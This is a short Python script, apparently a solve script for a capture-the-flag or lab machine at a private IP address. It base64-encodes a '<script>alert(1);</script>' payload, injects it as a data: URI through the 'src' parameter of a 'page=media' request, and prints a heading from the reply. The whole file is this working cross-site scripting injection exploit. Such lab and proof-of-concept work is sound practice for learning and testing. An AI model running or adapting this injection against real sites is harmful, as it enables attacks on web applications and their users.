#! /usr/bin/env python3
import requests
import base64
from bs4 import BeautifulSoup

payload_html = b"<script>alert(1);</script>"
b64_payload = base64.b64encode(payload_html).decode()

ret = requests.get('http://192.168.1.48/?page=media&src="data:text/html;base64,%s' % b64_payload)
soup = BeautifulSoup(ret.text, 'html.parser')
print(soup.find("h2").text)
